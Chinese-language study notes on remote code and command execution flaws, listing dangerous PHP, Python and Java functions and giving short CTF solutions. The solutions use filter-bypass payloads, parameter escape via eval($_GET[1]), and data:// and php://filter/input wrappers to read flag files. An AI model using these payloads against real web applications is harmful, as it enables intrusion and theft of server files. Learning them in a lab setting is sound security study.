目录
知识点
1、RCE执行-代码执行&命令执行
代码执行:利用脚本代码解析执行-将字符串以代码解析执行
命令执行:利用脚本调用操作系统命令-将字符串放在系统命令中执行
2、漏洞
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)
漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令
3、举例
<?php
//eval代码执行
eval('phpinfo();');
//system命令执行
system('ipconfig');
?>
-RCE代码执行:引用脚本代码解析执行
-RCE命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP:
eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等
system、shell_exec、popen、passthru、proc_open等
2.Python:
eval exec subprocess os.system commands
3.Java:
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等
CTF例题
CTF-29
system('tac fla*.php');
存在eval很明显的命令执行漏洞,通过c变量传递指定参数,进行命令执行
CTF-30
echo shell_exec('tac fla*.ph*');
该关过滤了system,那么直接换个指令函数即可
CTF-31
思路:该可以利用参数逃逸,参数逃逸--当代码对c参数进行过滤时,那么可以让c参数包含另外一个参数,再利用包含的参数执行命令eval($_GET[1]);&1=system('tac flag.php');
CTF-32到36
32题到36题方法相同,只展示其中一题
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
CTF-37到39
data://text/plain,<?=system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>